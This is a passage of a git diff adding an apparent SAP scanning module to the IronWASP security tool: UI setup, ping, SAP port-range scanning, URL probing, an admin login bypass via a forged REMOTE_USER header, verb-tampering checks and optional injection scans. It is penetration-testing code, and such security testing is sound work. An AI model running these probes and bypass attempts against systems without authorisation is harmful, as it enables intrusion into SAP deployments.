combined_out_tb.Name = 'combined_out_tb' + combined_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + combined_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + combined_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + combined_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + combined_out_tb.Enabled = True + combined_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + combined_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + combined_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + combined_out_tb.ReadOnly = True + combined_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + combined_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + combined_out_tb.Multiline = True + combined_out_tb.WordWrap = True + combined_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_tab_control_2.TabPages['tab_page_2'].Controls.Add(combined_out_tb) + ui.ModControls['combined_out_tb'] = combined_out_tb + mod_tab_control_2.TabPages.Add('tab_page_4', ' FingerPrint Results ') + fingerprint_out_tb = ModTextBox() + fingerprint_out_tb.Name = 'fingerprint_out_tb' + fingerprint_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + fingerprint_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + fingerprint_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + fingerprint_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + fingerprint_out_tb.Enabled = True + fingerprint_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + fingerprint_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + fingerprint_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + fingerprint_out_tb.ReadOnly = True + fingerprint_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + fingerprint_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + fingerprint_out_tb.Multiline = True + fingerprint_out_tb.WordWrap = True + fingerprint_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_tab_control_2.TabPages['tab_page_4'].Controls.Add(fingerprint_out_tb) + ui.ModControls['fingerprint_out_tb'] = fingerprint_out_tb + mod_tab_control_2.TabPages.Add('tab_page_5', ' HTTP Analyser Results ') + http_analyzer_out_tb = ModTextBox() + http_analyzer_out_tb.Name = 'http_analyzer_out_tb' + http_analyzer_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + http_analyzer_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + http_analyzer_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + http_analyzer_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + http_analyzer_out_tb.Enabled = True + http_analyzer_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + http_analyzer_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + http_analyzer_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + http_analyzer_out_tb.ReadOnly = True + http_analyzer_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + http_analyzer_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + http_analyzer_out_tb.Multiline = True + http_analyzer_out_tb.WordWrap = True + http_analyzer_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_tab_control_2.TabPages['tab_page_5'].Controls.Add(http_analyzer_out_tb) + ui.ModControls['http_analyzer_out_tb'] = http_analyzer_out_tb + mod_tab_control_2.TabPages.Add('tab_page_6', ' Web Services Results ') + web_services_out_tb = ModTextBox() + web_services_out_tb.Name = 'web_services_out_tb' + web_services_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + web_services_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + web_services_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + web_services_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + web_services_out_tb.Enabled = True + web_services_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + web_services_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + web_services_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + web_services_out_tb.ReadOnly = True + web_services_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + web_services_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + web_services_out_tb.Multiline = True + web_services_out_tb.WordWrap = True + web_services_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_tab_control_2.TabPages['tab_page_6'].Controls.Add(web_services_out_tb) + ui.ModControls['web_services_out_tb'] = web_services_out_tb + mod_tab_control_2.TabPages.Add('tab_page_7', ' RFC ') + banner_rfc = ModLabel() + banner_rfc.Name = 'banner_rfc' + banner_rfc.Size = ModUiTools.GetSizeDefinition(363,44) + banner_rfc.Location = ModUiTools.GetLocationDefinition(179,182) + banner_rfc.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + banner_rfc.Dock = ModUiTools.GetDockStyleDefinition('None') + banner_rfc.Enabled = True + banner_rfc.BackColor = ModUiTools.GetColorDefinition(16777215) + banner_rfc.ForeColor = ModUiTools.GetColorDefinition(-16777216) + banner_rfc.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + banner_rfc.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',15.75,True,True,False,False) + banner_rfc.Text = Tools.Base64Decode('Q29tbWluZyBVcCBOZXh0') + mod_tab_control_2.TabPages['tab_page_7'].Controls.Add(banner_rfc) + ui.ModControls['banner_rfc'] = banner_rfc + ui.Controls.Add(mod_tab_control_2) + ui.ModControls['mod_tab_control_2'] = mod_tab_control_2 + start_btn = ModButton() + start_btn.Name = 'start_btn' + start_btn.Size = ModUiTools.GetSizeDefinition(92,23) + start_btn.Location = ModUiTools.GetLocationDefinition(504,27) + start_btn.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + start_btn.Dock = ModUiTools.GetDockStyleDefinition('None') + start_btn.Enabled = True + start_btn.BackColor = ModUiTools.GetColorDefinition(-986896) + start_btn.ForeColor = ModUiTools.GetColorDefinition(-16777216) + start_btn.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + start_btn.Text = Tools.Base64Decode('U3RhcnQ=') + start_btn.Click += lambda s,e: self.start() + ui.Controls.Add(start_btn) + ui.ModControls['start_btn'] = start_btn + url_tb = ModTextBox() + url_tb.Name = 'url_tb' + url_tb.Size = ModUiTools.GetSizeDefinition(330,20) + url_tb.Location = ModUiTools.GetLocationDefinition(155,30) + url_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + url_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + url_tb.Enabled = True + url_tb.BackColor = ModUiTools.GetColorDefinition(-1) + url_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + url_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + url_tb.ReadOnly = False + url_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + url_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + url_tb.Multiline = False + url_tb.WordWrap = True + url_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + ui.Controls.Add(url_tb) + ui.ModControls['url_tb'] = url_tb + mod_label_7 = ModLabel() + mod_label_7.Name = 'mod_label_7' + mod_label_7.Size = ModUiTools.GetSizeDefinition(150,23) + mod_label_7.Location = ModUiTools.GetLocationDefinition(13,32) + mod_label_7.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_7.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_7.Enabled = True + mod_label_7.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_7.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_7.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_7.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_7.Text = Tools.Base64Decode('RW50ZXIgdGFyZ2V0IElQL0hvc3RuYW1lOg==') + ui.Controls.Add(mod_label_7) + ui.ModControls['mod_label_7'] = mod_label_7 + mod_label_8 = ModLabel() + mod_label_8.Name = 'mod_label_8' + mod_label_8.Size = ModUiTools.GetSizeDefinition(104,23) + mod_label_8.Location = ModUiTools.GetLocationDefinition(1114,20) + mod_label_8.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_8.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_8.Enabled = True + mod_label_8.BackColor = ModUiTools.GetColorDefinition(-16744448) + mod_label_8.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_8.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_8.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',15.75,True,True,False,False) + mod_label_8.Text = Tools.Base64Decode('SXJvblNBUA==') + ui.Controls.Add(mod_label_8) + ui.ModControls['mod_label_8'] = mod_label_8 + ui.ShowUi() + + self.ui = ui + + def start(self): + if self.ui.ModControls['start_btn'].Text == "Start": + if self.ui.ModControls['perform_attack_cb'].Checked == True: + self.perform_attack = True + else: + self.perform_attack = False + if self.ui.ModControls['verbose_output_cb'].Checked == True: + self.verbose = True + else: + self.verbose = False + self.target = self.ui.ModControls['url_tb'].Text + try: + self.thread_id = IronThread.Run(start.begin, self) + self.ui.ModControls['start_btn'].SetText("Stop") + except Exception as e: + self.ui.ModControls['combined_out_tb'].SetText("Error Scanning - {0}".format(e.message)) + else: + IronThread.Stop(self.thread_id) + self.ui.ModControls['combined_out_tb'].AddText('Scanning stopped.\r\n') + self.ui.ModControls['start_btn'].SetText("Start") + + def stopper(self): + #self.print_out("Stopping scan....",0) + self.print_out("Scan stopped",0) + self.ui.ModControls['start_btn'].SetText("Start") + try: + IronThread.Stop(self.thread_id) + except: + pass + + def print_out(self, data, place): + self.ui.ModControls['combined_out_tb'].AddText("{0}\r\n".format(data)) + if place == 1: + self.ui.ModControls['fingerprint_out_tb'].AddText("{0}\r\n".format(data)) + elif place == 2: + self.ui.ModControls['http_analyzer_out_tb'].AddText("{0}\r\n".format(data)) + elif place == 3: + self.ui.ModControls['web_services_out_tb'].AddText("{0}\r\n".format(data)) + +m = IronSAP() +Module.Add(m.GetInstance()) diff --git a/modules/IronSAP/IronSAPCore/__init__.py b/modules/IronSAP/IronSAPCore/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/modules/IronSAP/IronSAPCore/db.py b/modules/IronSAP/IronSAPCore/db.py new file mode 100644 index 0000000..a3db246 --- /dev/null +++ b/modules/IronSAP/IronSAPCore/db.py @@ -0,0 +1,71 @@ +import clr +clr.AddReference("System") +clr.AddReference("System.Data") +clr.AddReference("System.Data.SQLite") + +import System +from System.Data.SQLite import * +import fingerprint +#import httppages +from IronWASP import * +import webservices as ws + +class dbwrite(): + + def __init__(self, isap): + self.isap = isap + pass + def pingwrite(self,values): + pass + #self.isap.print_out("Writing Ping values to DB\r\n", 0) + #for x in values: + # print x + def portscanwrite(self,values): + #self.isap.print_out("Writing PortScan values to DB\r\n", 0) + self.isap.print_out("\r\nPort Scan Result (arranged by the associated service) :\r\n", 1) + port_count = 0 + for value in values.iterkeys(): + if value != "ip" and value != "actid": + port_count = port_count + len(values[value]) + self.isap.print_out(value+": " + self.port_list_to_str(values[value]), 1) + if port_count > 0: + fp1 = fingerprint.fingerprint(values, self.isap) + fp1.starts() + else: + self.isap.print_out("\r\nNo open ports found. Cannot proceed further.", 1) + self.isap.stopper() + + def fingerprintwrite(self,response200,response404,response401,values): + #print response200,response404,response401,values + #print "Displaying HTML Analysis Results:" + + if self.isap.verbose: + self.isap.print_out("Responses for Requests that returned a Response 200:" + str(response200) + "\r\n", 2) + self.isap.print_out("\r\n", 2) + self.isap.print_out("Information Gathered from Error Pages:" + str(response404) + "\r\n", 2) + self.isap.print_out("\r\n", 2) + self.isap.print_out("Result of Verb Tampering:" + str(response401) + "\r\n", 2) + #ws = webservices.webservices(values) + #ws.start() + +# print "Detailed Page Analysis Results:","\n" +# print pagechecker + #hp = httppages.httppages() + #hp.starts() + + def port_list_to_str(self, port_list): + if len(port_list) == 0: + return " -" + else: + res = "" + for port in port_list: + res = str(port) + ", " + return res.strip().rstrip(",") + + + + + + + + \ No newline at end of file diff --git a/modules/IronSAP/IronSAPCore/fingerprint.py b/modules/IronSAP/IronSAPCore/fingerprint.py new file mode 100644 index 0000000..8f9acb8 --- /dev/null +++ b/modules/IronSAP/IronSAPCore/fingerprint.py @@ -0,0 +1,327 @@ +import clr +clr.AddReference("System") +clr.AddReference("System.Data") +clr.AddReference("System.Data.SQLite") + +import System +from System.Data.SQLite import * +from IronWASP import * +import re +import db as db2 +import webservices as ws + + +class fingerprint: + + def page301(self): + + if len(self.page301list)>0: + for x in self.page301list: + sess = Session.FromLog(x,"IronSAP") + req = sess.Request + resp = sess.Response + headers = resp.Headers + if self.isap.verbose: + print headers.Get("Location"),"\n", + + def checkpages2(self): + #This is the call to the web services Module + ws1 = ws.webservices(self.val,self.isap) + #Tools.Trace("fingerprint.py","checkll pages 2") + ws1.start() + + + def loginbypass(self,session,username): + req = session.Request + resp = session.Response + c = CookieStore() + response = Crawler.GetFormSubmissions(req, resp, c) + header = response[0].Headers + header.Set("REMOTE_USER",username) + resp1 = response[0].Send() + resphtml = resp1.Html + #print resphtml.Get("script","src","/irj/portalapps/com.sap.portal.runtime.logon/js/basic.js") + val = len(resphtml.Get("script","src","/irj/portalapps/com.sap.portal.runtime.logon/js/basic.js")) + if val==0: + pr = Finding(session.Request.Host) + pr.Title = "SAP Login Bypass Possible" + pr.Summary = "SAP Web Login bypass could be possible with Header Inclusion attack -- SAP Active Directory Authtenction in use." + pr.Plugin = " " + pr.Triggers.Add(resp1.Headers.Get("REMOTE_USER"),response[0],"",resp1) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + else: + self.isap.print_out("Remote Authentication did not work."+"\n", 1) + + + def checkpages(self): + #Tools.Trace("fingerprint.py","CheckPages Start") + urlist = ["/mmr/MMR","/sap/public/info","/run/build_info.jsp","/rep/build_info.html","/sap/admin/public/index.html","/irj/portal"] + if len(self.page200list)>0: + #print "Performing Analysis of Pages that has been found...." + for req in self.page200list: + sess = Session.FromLog(req,"IronSAP") + #Tools.Trace("fingerprint.py",str(sess)) + if self.isap.perform_attack: + req = sess.Request + scan = Scanner(req) + scan.CheckAll() + scan.InjectAll() + scan.LaunchScan() + requrl = sess.Request.UrlPath + for url in urlist: + if requrl==url: + if requrl == "/irj/portal": + self.isap.print_out("Attempting to Bypass the Login using Additional Header\n", 1) + usernames = ["Administrator","Admin"] + for username in usernames: + self.isap.print_out( "Trying to login with username: "+username+"\n", 1) + self.loginbypass(sess,username) + if requrl=="/sap/admin/public/index.html": + #self.pagecheckerlist.append(sess.Request.FullUrl+" "+"==>"+" SAP Web Administration Interface") + pr = Finding(sess.Request.Host) + pr.Title = "SAP Web Administration Interface" + pr.Summary = "Web Administration Interface could leak some sensitive information." + pr.Plugin = " " + pr.Triggers.Add('Administration',sess.Request,"",sess.Response) + g = FindingSeverity.Medium + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + if requrl=="/sap/public/info": + pr = Finding(sess.Request.Host) + pr.Title = "The Info Service" + pr.Summary = "Discloses sensitive information of the SAP infrastructure" + pr.Plugin = " " + pr.Triggers.Add('Info Service',sess.Request,"",sess.Response) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + #print self.page301list,"301 List" + #Tools.Trace("fingerprint.py","calling Web Service") + self.checkpages2() + + + def resultstorer(self,type,value): + if type=="page401": + lens = len(self.page401res) + self.page401res[lens+1]=value + if type=="page200": + lens = len(self.page200res) + self.page200res[lens+1]=value + if type=="page404": + lens = len(self.error404res) + self.error404res[lens+1]=value + + def page401(self): + #Tools.Trace("fingerprint.py","page401 - start") + #print " I am in here " + if len(self.page401list)>0: + #print len(self.page401list) + for req in self.page401list: + sess = Session.FromLog(req,"IronSAP") + requrl = sess.Request.FullUrl + req1 = Request("HEAD",requrl) + resp = req1.Send() + #print resp.ToString(),req1.FullUrl + if resp.Code==200: + pr = Finding(sess.Request.Host) + pr.Title = "Possible VERB Tampering" + pr.Summary = "Resources that are protected with login could be accessed by changing the HTTP Request Method." + pr.Plugin = " " + pr.Triggers.Add("",req1,"",resp) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + self.resultstorer("page401",[req1.FullUrl,resp.ToString()]) + #Tools.Trace("fingerprint.py","page401 - end") + self.resultcounter() + + + def resultcounter(self): + self.respcounter=self.respcounter+1 + if self.respcounter==3: + #self.resultprinter() + self.respcounter = 0 + dbw = db2.dbwrite(self.isap) + dbw.fingerprintwrite(self.page200res,self.error404res,self.page401res,self.val) + #Tools.Trace("fingerprint.py","resultcounter") + self.checkpages() + + + def resultprinter(self): + print self.page200res + print self.error404res + + + def page404(self): + #Tools.Trace("fingerprint.py","page404 - start") + if len(self.page404list)>0: + #print len(self.page404list) + for req in self.page404list: + sess = Session.FromLog(req,"IronSAP") + resp = sess.Response.ToString() + match = re.search(r"[\w\s]+_[\w\s]+_\d\d",resp) + if match: + result = match.group() + else: + result = "" + if result!="": + resultsz = re.split("_",result) + pr = Finding(sess.Request.Host) + pr.Title = "Critical Information in Page Not Found Pages" + pr.Summary = "The Error Page for HTTP response seems to be leaking a critical infrastructure information." + pr.Plugin = " " + info = resultsz[0]+" "+resultsz[2]+" "+resultsz[1] + pr.Triggers.Add(info,sess.Request,"",sess.Response) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + self.resultstorer("page404",[resultsz[0],resultsz[2],resultsz[1],sess.Request.FullUrl]) + self.resultcounter() + + def page200(self): + #Tools.Trace("fingerprint.py","page200 - start") + if len(self.page200list)>0: + for req in self.page200list: + #Tools.Trace("page200",str(req)) + sess = Session.FromLog(req,"IronSAP") #Delete this Later... + #Tools.Trace("page200",str(sess)) + resp = sess.Response + resphtml = resp.Html + #logincheck = resphtml.Get("input","name","sap-system-login") + if len(resphtml.Get("script","src","/irj/portalapps/com.sap.portal.runtime.logon/js/basic.js"))>0: + self.resultstorer("page200",[sess.Request.FullUrl,"LOGIN Page"]) + else: + #pr = Finding(sess.Request.Host) + #pr.Title = "Interesting Pages" + #pr.Summary = "Pages with some interesting content found.further automated analysis will be performed and mannual tests can be performed." + #pr.Plugin = " " + #pr.Triggers.Add("",sess.Request,"",sess.Response) + #pr.FindingType = FindingType.TestLead + #pr.Report() + self.resultstorer("page200",[sess.Request.FullUrl,"Interesting Page"]) + else: + pass + self.resultcounter() + + + def htmlpages(self,ports): + self.isap.print_out("Fetching the webpages from the list .. only displaying 200 & 401 Responses. For all responses turn on Verbose mode...."+"\n", 0) + ip = self.val["ip"] + portlist = ports + loc = Config.Path+"\\modules\\IronSAP\\" + f = open(loc+"sapurl.txt") + lines = f.readlines() + for port in portlist: + proto = "http://" + try: + Request("http://" + ip + ":" + str(port)).Send() + except: + try: + Request("https://" + ip + ":" + str(port)).Send() + proto = "https://" + except: + pass + for line in lines: + try: + url = proto + ip + ":" + port+line.rstrip('\r\n') + req = Request(url) + req.SetSource("IronSAP") + req.Headers.Set("User-Agent","Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1") + resp = req.Send() + #print url,resp.Code,resp.Status,req.GetId(),"\n" + if resp.Code==200: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 2) + self.page200list.append(req.GetId()) + elif resp.Code==401: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 2) + self.page401list.append(req.GetId()) + elif resp.Code==404: + if self.isap.verbose: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 2) + self.page404list.append(req.GetId()) + elif resp.Code==301: + self.page301list.append(req.GetId()) + if self.isap.verbose: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 1) + else: + if self.isap.verbose: + pass#self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 1) + except: + if self.isap.verbose: + self.isap.print_out("Could not connect to the URL"+url, 1) + self.isap.print_out("Pages Request Completed"+"\n", 0) + self.sleeper() + + + def fpcontroller(self): + self.isap.print_out("Starting HTTP Responses Analysis ....", 0) + if len(self.page200list) != 0: + IronThread.Run(self.page200) + else: + self.respcounter = self.respcounter+1 + if len(self.page404list) != 0: + IronThread.Run(self.page404) + else: + self.respcounter = self.respcounter+1 + if len(self.page401list)!= 0: + IronThread.Run(self.page401) + else: + self.respcounter = self.respcounter+1 + #Tools.Trace("fingerprint.py","fpcontroller - end") + #IronThread.Run(self.page301) + + + + def sleeper1(self): + IronThread.Sleep(5000) + self.fpcontroller() + + def sleeper(self): + IronThread.Run(self.sleeper1) + + def __init__(self,values,isap): + self.isap = isap + self.val = values + self.page200list = [] + self.page404list = [] + self.page301list = [] + self.page401list = [] + self.error404res = {} + self.page200res = {} + self.page401res={} + self.respcounter = 0 + self.pagecheckerlist=[] + + def starts(self): + httpports = [] + f = open("ports.txt","a") + for port in self.val["HTTP Services"]: + httpports.append(str(port)) + for port in self.val["Message Server HTTP"]: + httpports.append(str(port)) + for port in self.val["ICM HTTP"]: + httpports.append(str(port)) + for port in self.val["JAVA HTTP"]: + httpports.append(str(port)) + + if len(httpports) > 0: + self.isap.print_out("\r\nHTTP Ports detected are:"+"\n", 0) + for port in httpports: + self.isap.print_out(str(port), 0) + self.htmlpages(httpports) + else: + self.isap.print_out("\r\nNo HTTP ports dectected. Cannot proceed further.", 0) + self.isap.stopper() + \ No newline at end of file diff --git a/modules/IronSAP/IronSAPCore/ping.py b/modules/IronSAP/IronSAPCore/ping.py new file mode 100644 index 0000000..a5d570c --- /dev/null +++ b/modules/IronSAP/IronSAPCore/ping.py @@ -0,0 +1,38 @@ +from System.Net.NetworkInformation import Ping + +class PingCheck(): + def __init__(self,ipaddress,activeid, isap): + self.ipadd = ipaddress + self.activeid = activeid + self.isap = isap + + def ping(self): + ipaddress = self.ipadd + self.isap.print_out("connecting to : "+ipaddress, 0) + ping = Ping() + try: + pingres = ping.Send(ipaddress) + status = pingres.Status.ToString() + if status == 'Success': + rest = [self.activeid, pingres.Address.ToString(), status,pingres.Options.Ttl] + else: + rest = [self.activeid, "", status,0] + return rest + except: + self.isap.print_out(ipaddress + " is not reachable", 0) + #self.isap.print_out(str(status), 0) + self.isap.stopper() + +# if status == "Success": +# self.isap.print_out(ipaddress+" is Alive ...", 0) +# rest = [self.activeid,pingres.Address.ToString(),status,pingres.Options.Ttl] +# return rest +# else: +# self.isap.print_out("Host Down", 0) +# rest = [self.activeid,ipaddress,status,"Host Down"] +# isap.stopper() + #return rest + + + + \ No newline at end of file diff --git a/modules/IronSAP/IronSAPCore/portscan.py b/modules/IronSAP/IronSAPCore/portscan.py new file mode 100644 index 0000000..ca1da40 --- /dev/null +++ b/modules/IronSAP/IronSAPCore/portscan.py @@ -0,0 +1,22 @@ +from IronWASP import * +import db as db2 + +class portscan: + def __init__(self,ip,actid, isap): + self.portscanlist = {"JMS":"50010, 50110, 50210, 50310, 50410, 50510, 50610, 50710, 50810, 50910, 51010, 51110, 51210, 51310, 51410, 51510, 51610, 51710, 51810, 51910, 52010, 52110, 52210, 52310, 52410, 52510, 52610, 52710, 52810, 52910, 53010, 53110, 53210, 53310, 53410, 53510, 53610, 53710, 53810, 53910, 54010, 54110, 54210, 54310, 54410, 54510, 54610, 54710, 54810, 54910, 55010, 55110, 55210, 55310, 55410, 55510, 55610, 55710, 55810, 55910, 56010, 56110, 56210, 56310, 56410, 56510, 56610, 56710, 56810, 56910, 57010, 57110, 57210, 57310, 57410, 57510, 57610, 57710, 57810, 57910, 58010, 58110, 58210, 58310, 58410, 58510, 58610, 58710, 58810, 58910, 59010, 59110, 59210, 59310, 59410, 59510, 59610, 59710, 59810, 59910","TELNET":"50008, 50108, 50208, 50308, 50408, 50508, 50608, 50708, 50808, 50908, 51008, 51108, 51208, 51308, 51408, 51508, 51608, 51708, 51808, 51908, 52008, 52108, 52208, 52308, 52408, 52508, 52608, 52708, 52808, 52908, 53008, 53108, 53208, 53308, 53408, 53508, 53608, 53708, 53808, 53908, 54008, 54108, 54208, 54308, 54408, 54508, 54608, 54708, 54808, 54908, 55008, 55108, 55208, 55308, 55408, 55508, 55608, 55708, 55808, 55908, 56008, 56108, 56208, 56308, 56408, 56508, 56608, 56708, 56808, 56908, 57008, 57108, 57208, 57308, 57408, 57508, 57608, 57708, 57808, 57908, 58008, 58108, 58208, 58308, 58408, 58508, 58608, 58708, 58808, 58908, 59008, 59108, 59208, 59308, 59408, 59508, 59608, 59708, 59808, 59908","IIOP":"50007, 50107, 50207, 50307, 50407, 50507, 50607, 50707, 50807, 50907, 51007, 51107, 51207, 51307, 51407, 51507, 51607, 51707, 51807, 51907, 52007, 52107, 52207, 52307, 52407, 52507, 52607, 52707, 52807, 52907, 53007, 53107, 53207, 53307, 53407, 53507, 53607, 53707, 53807, 53907, 54007, 54107, 54207, 54307, 54407, 54507, 54607, 54707, 54807, 54907, 55007, 55107, 55207, 55307, 55407, 55507, 55607, 55707, 55807, 55907, 56007, 56107, 56207, 56307, 56407, 56507, 56607, 56707, 56807, 56907, 57007, 57107, 57207, 57307, 57407, 57507, 57607, 57707, 57807, 57907, 58007, 58107, 58207, 58307, 58407, 58507, 58607, 58707, 58807, 58907, 59007, 59107, 59207, 59307, 59407, 59507, 59607, 59707, 59807, 59907","P4 over SSL":"50006, 50106, 50206, 50306, 50406, 50506, 50606, 50706, 50806, 50906, 51006, 51106, 51206, 51306, 51406, 51506, 51606, 51706, 51806, 51906, 52006, 52106, 52206, 52306, 52406, 52506, 52606, 52706, 52806, 52906, 53006, 53106, 53206, 53306, 53406, 53506, 53606, 53706, 53806, 53906, 54006, 54106, 54206, 54306, 54406, 54506, 54606, 54706, 54806, 54906, 55006, 55106, 55206, 55306, 55406, 55506, 55606, 55706, 55806, 55906, 56006, 56106, 56206, 56306, 56406, 56506, 56606, 56706, 56806, 56906, 57006, 57106, 57206, 57306, 57406, 57506, 57606, 57706, 57806, 57906, 58006, 58106, 58206, 58306, 58406, 58506, 58606, 58706, 58806, 58906, 59006, 59106, 59206, 59306, 59406, 59506, 59606, 59706, 59806, 59906","P4":"50004, 50104, 50204, 50304, 50404, 50504, 50604, 50704, 50804, 50904, 51004, 51104, 51204, 51304, 51404, 51504, 51604, 51704, 51804, 51904, 52004, 52104, 52204, 52304, 52404, 52504, 52604, 52704, 52804, 52904, 53004, 53104, 53204, 53304, 53404, 53504, 53604, 53704, 53804, 53904, 54004, 54104, 54204, 54304, 54404, 54504, 54604, 54704, 54804, 54904, 55004, 55104, 55204, 55304, 55404, 55504, 55604, 55704, 55804, 55904, 56004, 56104, 56204, 56304, 56404, 56504, 56604, 56704, 56804, 56904, 57004, 57104, 57204, 57304, 57404, 57504, 57604, 57704, 57804, 57904, 58004, 58104, 58204, 58304, 58404, 58504, 58604, 58704, 58804, 58904, 59004, 59104, 59204, 59304, 59404, 59504, 59604, 59704, 59804, 59904","IIOP-SSL":"50003, 50103, 50203, 50303, 50403, 50503, 50603, 50703, 50803, 50903, 51003, 51103, 51203, 51303, 51403, 51503, 51603, 51703, 51803, 51903, 52003, 52103, 52203, 52303, 52403, 52503, 52603, 52703, 52803, 52903, 53003, 53103, 53203, 53303, 53403, 53503, 53603, 53703, 53803, 53903, 54003, 54103, 54203, 54303, 54403, 54503, 54603, 54703, 54803, 54903, 55003, 55103, 55203, 55303, 55403, 55503, 55603, 55703, 55803, 55903, 56003, 56103, 56203, 56303, 56403, 56503, 56603, 56703, 56803, 56903, 57003, 57103, 57203, 57303, 57403, 57503, 57603, 57703, 57803, 57903, 58003, 58103, 58203, 58303, 58403, 58503, 58603, 58703, 58803, 58903, 59003, 59103, 59203, 59303, 59403, 59503, 59603, 59703, 59803, 59903","IIOP Initial Context":"50002, 50102, 50202, 50302, 50402, 50502, 50602, 50702, 50802, 50902, 51002, 51102, 51202, 51302, 51402, 51502, 51602, 51702, 51802, 51902, 52002, 52102, 52202, 52302, 52402, 52502, 52602, 52702, 52802, 52902, 53002, 53102, 53202, 53302, 53402, 53502, 53602, 53702, 53802, 53902, 54002, 54102, 54202, 54302, 54402, 54502, 54602, 54702, 54802, 54902, 55002, 55102, 55202, 55302, 55402, 55502, 55602, 55702, 55802, 55902, 56002, 56102, 56202, 56302, 56402, 56502, 56602, 56702, 56802, 56902, 57002, 57102, 57202, 57302, 57402, 57502, 57602, 57702, 57802, 57902, 58002, 58102, 58202, 58302, 58402, 58502, 58602, 58702, 58802, 58902, 59002, 59102, 59202, 59302, 59402, 59502, 59602, 59702, 59802, 59902","JAVA HTTP":"50000, 50100, 50200, 50300, 50400, 50500, 50600, 50700, 50800, 50900, 51000, 51100, 51200, 51300, 51400, 51500, 51600, 51700, 51800, 51900, 52000, 52100, 52200, 52300, 52400, 52500, 52600, 52700, 52800, 52900, 53000, 53100, 53200, 53300, 53400, 53500, 53600, 53700, 53800, 53900, 54000, 54100, 54200, 54300, 54400, 54500, 54600, 54700, 54800, 54900, 55000, 55100, 55200, 